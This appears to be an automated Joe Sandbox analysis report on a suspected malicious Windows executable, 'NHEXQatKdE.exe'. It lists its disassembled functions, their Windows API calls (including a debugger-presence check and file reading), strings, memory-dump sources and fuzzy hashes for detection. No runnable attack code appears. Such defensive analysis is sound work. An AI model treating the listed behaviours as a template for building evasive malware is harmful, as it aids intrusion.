Instruction ID: a9be6e614674c57d3befd7757d18ef080a2b761b2113d71766f6d04707c7701a
Opcode Fuzzy Hash: 3a09a0f7c72dff088ea1b71936027e9825277e422d31c7612ab7938b80e9f6e7
Instruction Fuzzy Hash: 3E21AFB1202395AFDB20AFA3888196BB7ABFF00364710841CF86997250DB30FC41CBA1

Function 006EBD88 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 006EBD90

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006EBDC8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006EBDE8

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 03d57b1b519c94011a5b965768d471da0cd4fcbbb5136cd92fc10794fe6e252c
Instruction ID: e55b53eab1c5ad6dcc780777f42b85f194c8097130bcaa297ddcf77ecf625949
Opcode Fuzzy Hash: 03d57b1b519c94011a5b965768d471da0cd4fcbbb5136cd92fc10794fe6e252c
Instruction Fuzzy Hash: 2311E1F25073957FA71127F39C89CFF295EDE447D87242428FA0992101EF208D0182B6

Function 006F2950 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000), ref: 006F2967
GetLastError.KERNEL32(?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?,?,?,006ECC37,?), ref: 006F2973

Part of subcall function 006F29C4: CloseHandle.KERNEL32(FFFFFFFE,006F2983,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?,?), ref: 006F29D4

___initconout.LIBCMT ref: 006F2983

Part of subcall function 006F29A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006F2941,006F1721,?,?,006ED2F1,?,00000000,00000000,?), ref: 006F29B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,006F1734,00000000,00000001,?,?,?,006ED2F1,?,00000000,00000000,?), ref: 006F2998

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: deef50bd1af7442bf39d045aebaf58814df045485b4142ef89ecd301e8824872
Instruction ID: 7d10ce78634c6f2683d0f72c37064e3da893c0dc933f546fbc5021e3abe67dcc
Opcode Fuzzy Hash: deef50bd1af7442bf39d045aebaf58814df045485b4142ef89ecd301e8824872
Instruction Fuzzy Hash: F4F01C3690011ABBCF222FD2DD18AE93F67FF093A5F155110FA0C86120C672C820EF92

Function 006F079A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006F069B,?,?,00000000,00000000,00000000,?), ref: 006F07BF

Strings

RCC, xrefs: 006F07D9
MOC, xrefs: 006F07D1

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 00dc6aeffbf7d341f489ee91e14065d46af1ab85d14c7ee7199d28017b84c4bb
Instruction ID: bfc52e4aeab4ca6d57117619860e593cb7154bdc249275f7dc10e148640bda76
Opcode Fuzzy Hash: 00dc6aeffbf7d341f489ee91e14065d46af1ab85d14c7ee7199d28017b84c4bb
Instruction Fuzzy Hash: EF416C7190020DEFEF15DF94CD81AEE7BB6BF08344F148159FA1467252D335A950DB91

Function 006F0006 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006F027D

Strings

csm, xrefs: 006F029F
csm, xrefs: 006F0310

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 44d16d91017c7bebf5afb11ae0c996caec68100e57e60f95735ccbb32fa92ee3
Instruction ID: 83fd420f397b215d36861ed78a651814e2bcfe21d4910e6dbf6ad437a1c1efc0
Opcode Fuzzy Hash: 44d16d91017c7bebf5afb11ae0c996caec68100e57e60f95735ccbb32fa92ee3
Instruction Fuzzy Hash: 6431CF3740021EEBEF228F54CC448BE7B67FB0A715B18855AFA5449223C332CDA1DB91

Analysis Process: NHEXQatKdE.exePID: 5576, Parent PID: 5716COMMON

Non-executed Functions

Function 006EF0A0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fd936941ea14c40cf15aa7d7a94fca463f635fe71879e8aa3b6861b8ead67f
Instruction ID: c0cb48cc56888c62f1f07bd9d3da6a03155c221ec057f02189b21e7519008ebe
Opcode Fuzzy Hash: 96fd936941ea14c40cf15aa7d7a94fca463f635fe71879e8aa3b6861b8ead67f
Instruction Fuzzy Hash: 79023C71E012599FDF14CFA9D8806EEBBF2FF48314F248269D519E7381D731AA068B94

Function 006EB1DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006EB2CB

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: af3a6786db250e348d6469c66ffa35c3504aa12c108202707ca182f10d0928b1
Instruction ID: 5dfc03f4cc2648900493a3115fbd873daac004b72b4fd144b60281ced0a83012
Opcode Fuzzy Hash: af3a6786db250e348d6469c66ffa35c3504aa12c108202707ca182f10d0928b1
Instruction Fuzzy Hash: 5771F471C063989FDF21AF698C89AFEB7BAAF05300F1851D9E04C93251DB304E859F14

Function 006E15C1 Relevance: 6.2, APIs: 4, Instructions: 171fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 006E1632
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 006E1658
CloseHandle.KERNEL32(00000000), ref: 006E1667
CloseHandle.KERNEL32(00000000), ref: 006E17B2

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CloseFileHandle$ReadSize
String ID:
API String ID: 402376979-0
Opcode ID: 96197bebab3475913bda7d7a5ef5579782acea42364ade5425c96e81d45f7c16
Instruction ID: 05deed83852b95202f660d731efbf244c907aba13d306da49df45b20d0322fd7
Opcode Fuzzy Hash: 96197bebab3475913bda7d7a5ef5579782acea42364ade5425c96e81d45f7c16
Instruction Fuzzy Hash: 2B51F0B19053849BDB00AF26CC84A2EB7E6FF8A714F144A2DF4899B352E734D984D752

Function 006E2237 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006E2243
IsDebuggerPresent.KERNEL32 ref: 006E230F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006E2328
UnhandledExceptionFilter.KERNEL32(?), ref: 006E2332

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 06d7a119bd63e8690daf102b7eb9d64935ddc6679faf571e36643d41dba4d9d8
Instruction ID: 0d66a2568fdc5de7e3b4e9385323c33eca9f0acd0bfcbb97d7e4ea28ed04adb1
Opcode Fuzzy Hash: 06d7a119bd63e8690daf102b7eb9d64935ddc6679faf571e36643d41dba4d9d8
Instruction Fuzzy Hash: DB3123B5C02329DADB20DFA1D8497CDBBB9AF08300F1041EAE50CAB250EB719B85CF45

Function 006E123B Relevance: 3.2, APIs: 2, Instructions: 194encryptionCOMMON

Download Yara Rule

APIs

CryptContextAddRef.ADVAPI32(00000000,00000000,00000000), ref: 006E13BC
CloseFigure.GDI32(00000000), ref: 006E13C3

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CloseContextCryptFigure
String ID:
API String ID: 3489608352-0
Opcode ID: 52695599c67a8e4c1ad840eb7d8a1c9ed58c3f0e3f5f91c88efbbeee7817f83d
Instruction ID: 204ffdf0d4caacaeaf0699a9098e4e887fe3a2c83692bf311fac4ceadcaed4f8
Opcode Fuzzy Hash: 52695599c67a8e4c1ad840eb7d8a1c9ed58c3f0e3f5f91c88efbbeee7817f83d
Instruction Fuzzy Hash: B461387160A3848FC718AF3AD8946FFBBD69FD6704F14493CE5DA8B341D63099019792

Function 006E2AE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006E2B17
___except_validate_context_record.LIBVCRUNTIME ref: 006E2B1F
_ValidateLocalCookies.LIBCMT ref: 006E2BA8
__IsNonwritableInCurrentImage.LIBCMT ref: 006E2BD3
_ValidateLocalCookies.LIBCMT ref: 006E2C28

Strings

csm, xrefs: 006E2BBD
'n, xrefs: 006E2BC5, 006E2BCE, 006E2BDF

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$'n
API String ID: 1170836740-47889775
Opcode ID: 358801c20e361bee26f45e47be5fca48f528460eab6f4ba4226f3c3b2831525b
Instruction ID: 8e8e9df1c27d2be6221e041fca207c97ac235937fe9b72dabb81b83859a72b67
Opcode Fuzzy Hash: 358801c20e361bee26f45e47be5fca48f528460eab6f4ba4226f3c3b2831525b
Instruction Fuzzy Hash: 5041E734A0134A9BCF10DF6AC890AAE7BBBFF44328F148159E9159B352D7319A01CB90

Function 006F2692 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,006F267D,?,?,?,?,?,?,?,?,?,?), ref: 006F2738
__alloca_probe_16.LIBCMT ref: 006F27F3
__alloca_probe_16.LIBCMT ref: 006F2882
__freea.LIBCMT ref: 006F28CD
__freea.LIBCMT ref: 006F28D3
__freea.LIBCMT ref: 006F2909
__freea.LIBCMT ref: 006F290F
__freea.LIBCMT ref: 006F291F

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8edab8412280b2bdb4743cde40655e18d5406827e1868a313f12b0725d6c7f69
Instruction ID: 35fb939eacbd42ddf476261ebab43298436a9426668e9a0434b03d9d6225f535
Opcode Fuzzy Hash: 8edab8412280b2bdb4743cde40655e18d5406827e1868a313f12b0725d6c7f69
Instruction Fuzzy Hash: E171167290124FABDF21AF95CC61BFE77BBAF45350F280059EA14AB382D6709C448F65

Function 006E96B2 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006E9738

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 3825fff6bd7fd7d33fbd87751acabf464b2013d176b50613b12fd40d88381faf
Instruction ID: 943c52e830fa96b2c655e3949755090598e1b225c93fda49e5ff099aac8e6bb6
Opcode Fuzzy Hash: 3825fff6bd7fd7d33fbd87751acabf464b2013d176b50613b12fd40d88381faf
Instruction Fuzzy Hash: 26B11772A023D5AFDF118F26CC81BEE7BA6EF56310F184569E904AF382D2749905C7B4

Function 006E6FE5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,006E70F4,006E1807,?,00000000,006E1A21,006E1809,?,006E6EA6,00000022,FlsSetValue,006F5878,006F5880,006E1A21), ref: 006E70A6

Strings

ext-ms-, xrefs: 006E7050
api-ms-, xrefs: 006E703C

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 550867dee31a101d307e2d98509f5a01f8bf35ae33a84db586f2addfae1c315b
Instruction ID: 3456370ccfff0ded8c5fdfa410db4592bf0f190ff53eb751d3ec18bf967c42ae
Opcode Fuzzy Hash: 550867dee31a101d307e2d98509f5a01f8bf35ae33a84db586f2addfae1c315b
Instruction Fuzzy Hash: 112127B5A06350ABC7219B66DC80AAA776B9F813A0F250125FD05A73D0D630FD01C6D1

Function 006E68A7 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006E689E,006E28C9,006E2390), ref: 006E68B5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006E68C3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006E68DC
SetLastError.KERNEL32(00000000,006E689E,006E28C9,006E2390), ref: 006E692E

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c2597989f57cc474330d0ddd73f7bd5de985a5f97e2b3463f704b1e2b0a9efab
Instruction ID: 450dd46ddda72eb35976a2080b94fc858bec7232ff5587f4270e9c1c97782a02
Opcode Fuzzy Hash: c2597989f57cc474330d0ddd73f7bd5de985a5f97e2b3463f704b1e2b0a9efab
Instruction Fuzzy Hash: AC01D87210B3525EE76427BBFDD68772B97EB217F5320122DF114412E2EF214C22D5A5

Function 006F0376 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006F0495
CallUnexpected.LIBVCRUNTIME ref: 006F070E

Strings

csm, xrefs: 006F04CC
csm, xrefs: 006F03B3
csm, xrefs: 006F0420

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 01f810fc2b6242933f29e88043c091f7b7991e27848a889f5474da80c6d8ae92
Instruction ID: 7d3d1a6ed121e1949a330bea2702b6a675342a1b68507622fbaa90a569fdebfc
Opcode Fuzzy Hash: 01f810fc2b6242933f29e88043c091f7b7991e27848a889f5474da80c6d8ae92
Instruction Fuzzy Hash: AEB17A7180120DEFDF14DFA5C9819AEBBB6BF54300B14455EFA05AB252C730EA61CFA5

Function 006E54AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,006F42A9,000000FF,?,006E556F,006E5456,?,006E560B,00000000), ref: 006E54E3
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,006F42A9,000000FF,?,006E556F,006E5456,?,006E560B,00000000), ref: 006E54F5
FreeLibrary.KERNEL32(00000000,?,?,00000000,006F42A9,000000FF,?,006E556F,006E5456,?,006E560B,00000000), ref: 006E5517

Strings

CorExitProcess, xrefs: 006E54ED
mscoree.dll, xrefs: 006E54DC

Memory Dump Source

Source File: 00000003.00000002.2178967849.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000003.00000002.2178950318.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2178987110.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179015543.00000000006FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179034596.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179051866.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2179074675.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d846f00ca7520a3bb3fb7b662b8c16ffd75db935e0026539efdeac447d2a1fc7
Instruction ID: 7de72297281c916829d31cdcdfc5d3dc6940ac590f35679f05fea54e88e67299
Opcode Fuzzy Hash: d846f00ca7520a3bb3fb7b662b8c16ffd75db935e0026539efdeac447d2a1fc7
Instruction Fuzzy Hash: 0001D671914A59EFDB018F91DD09FBEBBBBFB44B18F004629F812E2690DF749900CA90

Function 006EC838 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006EC8BD
__alloca_probe_16.LIBCMT ref: 006EC986
__freea.LIBCMT ref: 006EC9ED

Part of subcall function 006E8CFD: HeapAlloc.KERNEL32(00000000,006E1A21,006E1807,?,006E29D3,006E1809,006E1807,?,?,?,006E19DE,006E1A21,006E180B,006E1807,006E1807,006E1807), ref: 006E8D2F

